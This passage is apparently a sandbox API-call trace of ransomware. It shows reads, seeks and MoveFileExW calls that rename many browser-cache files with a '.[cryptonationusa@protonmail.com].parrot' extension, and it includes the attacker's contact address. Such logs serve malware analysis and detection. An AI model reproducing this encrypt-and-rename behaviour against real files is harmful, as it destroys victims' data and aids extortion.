SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.091] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x7b1, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x7b1, lpOverlapped=0x0) returned 1 [0079.091] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.091] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\ContainerTag[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\containertag[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\ContainerTag[1].js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\containertag[1].js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0079.092] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a6d40 | out: hHeap=0x5b0000) returned 1 [0079.092] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8ab8 | out: hHeap=0x5b0000) returned 1 [0079.092] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3182ed8 | out: hHeap=0x5b0000) returned 1 [0079.094] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.094] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0079.096] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.097] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x7b1, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x7b1, lpOverlapped=0x0) returned 1 [0079.097] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.097] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\ContainerTag[2].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\containertag[2].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\ContainerTag[2].js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\containertag[2].js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0079.098] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a6d40 | out: hHeap=0x5b0000) returned 1 [0079.098] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8ab8 | out: hHeap=0x5b0000) returned 1 [0079.098] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3182ed8 | out: hHeap=0x5b0000) returned 1 [0079.101] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.101] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0079.102] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.102] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xbb, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0xbb, lpOverlapped=0x0) returned 1 [0079.102] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.103] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\css[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\css[2].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\css[2].txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\css[2].txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0079.103] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8c40 | out: hHeap=0x5b0000) returned 1 [0079.103] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8ab8 | out: hHeap=0x5b0000) returned 1 [0079.103] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317a1d8 | out: hHeap=0x5b0000) returned 1 [0079.105] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.105] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0079.115] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.115] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x39a21, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x39a21, lpOverlapped=0x0) returned 1 [0079.215] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.224] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\f8-028d9f-f30905ea[1]" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\f8-028d9f-f30905ea[1]"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\f8-028d9f-f30905ea[1].[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\f8-028d9f-f30905ea[1].[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0079.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a6d40 | out: hHeap=0x5b0000) returned 1 [0079.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8ab8 | out: hHeap=0x5b0000) returned 1 [0079.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x318a060 | out: hHeap=0x5b0000) returned 1 [0079.228] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.228] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0079.250] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.250] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x7f78, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x7f78, lpOverlapped=0x0) returned 1 [0079.289] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.292] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\fallback_728x90[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\fallback_728x90[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\fallback_728x90[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\fallback_728x90[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0079.293] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a6d40 | out: hHeap=0x5b0000) returned 1 [0079.293] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8ab8 | out: hHeap=0x5b0000) returned 1 [0079.293] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22260d0 | out: hHeap=0x5b0000) returned 1 [0079.297] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.297] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0079.313] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.313] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xca2, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0xca2, lpOverlapped=0x0) returned 1 [0079.314] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.314] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE12;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=1;target=_blank;aduho=600;grp=627518548[1]" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\getype=homepage;kvpg=msn%2fde-de;kvugc=0;kvmn=msndede12;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=1;target=_blank;aduho=600;grp=627518548[1]"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE12;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=1;target=_blank;aduho=600;grp=627518548[1].[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\getype=homepage;kvpg=msn%2fde-de;kvugc=0;kvmn=msndede12;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=1;target=_blank;aduho=600;grp=627518548[1].[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 0 [0079.315] GetLastError () returned 0x3 [0079.315] GetLastError () returned 0x3 [0079.317] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.317] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0079.319] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.319] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1305, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1305, lpOverlapped=0x0) returned 1 [0079.320] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.321] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE12;kvgrp=852361999;kvismob=2;extmirroring=0;kvtile=1;target=_blank;aduho=600;grp=852361999[1]" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\getype=homepage;kvpg=msn%2fde-de;kvugc=0;kvmn=msndede12;kvgrp=852361999;kvismob=2;extmirroring=0;kvtile=1;target=_blank;aduho=600;grp=852361999[1]"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE12;kvgrp=852361999;kvismob=2;extmirroring=0;kvtile=1;target=_blank;aduho=600;grp=852361999[1].[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\getype=homepage;kvpg=msn%2fde-de;kvugc=0;kvmn=msndede12;kvgrp=852361999;kvismob=2;extmirroring=0;kvtile=1;target=_blank;aduho=600;grp=852361999[1].[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 0 [0079.322] GetLastError () returned 0x3 [0079.322] GetLastError () returned 0x3 [0079.323] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.323] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0079.325] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.325] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x66, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x66, lpOverlapped=0x0) returned 1 [0079.325] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.325] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\ie8[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\ie8[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\ie8[1].txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\ie8[1].txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0079.327] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8c40 | out: hHeap=0x5b0000) returned 1 [0079.327] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8ab8 | out: hHeap=0x5b0000) returned 1 [0079.327] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8500 | out: hHeap=0x5b0000) returned 1 [0079.329] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.329] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0079.331] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.331] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3c1, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x3c1, lpOverlapped=0x0) returned 1 [0079.331] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.331] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\js[1]" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\js[1]"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\js[1].[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\js[1].[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0079.332] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179a08 | out: hHeap=0x5b0000) returned 1 [0079.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8ab8 | out: hHeap=0x5b0000) returned 1 [0079.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179270 | out: hHeap=0x5b0000) returned 1 [0079.334] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.334] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0079.336] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.336] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x88e7, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x88e7, lpOverlapped=0x0) returned 1 [0079.338] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.340] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\latest[1].eot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\latest[1].eot"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\latest[1].eot.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\latest[1].eot.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0079.342] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8c40 | out: hHeap=0x5b0000) returned 1 [0079.342] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8ab8 | out: hHeap=0x5b0000) returned 1 [0079.342] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x222e110 | out: hHeap=0x5b0000) returned 1 [0079.344] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.344] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0079.346] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.346] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1180, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1180, lpOverlapped=0x0) returned 1 [0079.347] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.347] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\meversion[1]" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\meversion[1]"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\meversion[1].[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\meversion[1].[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0079.348] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8c40 | out: hHeap=0x5b0000) returned 1 [0079.348] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8ab8 | out: hHeap=0x5b0000) returned 1 [0079.349] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2220050 | out: hHeap=0x5b0000) returned 1 [0079.351] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.351] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0079.352] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.352] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x140, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x140, lpOverlapped=0x0) returned 1 [0079.353] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.353] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\Passport[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\passport[1].htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\Passport[1].htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\passport[1].htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0079.354] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8c40 | out: hHeap=0x5b0000) returned 1 [0079.354] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8ab8 | out: hHeap=0x5b0000) returned 1 [0079.354] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6af530 | out: hHeap=0x5b0000) returned 1 [0079.356] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.356] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0079.393] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 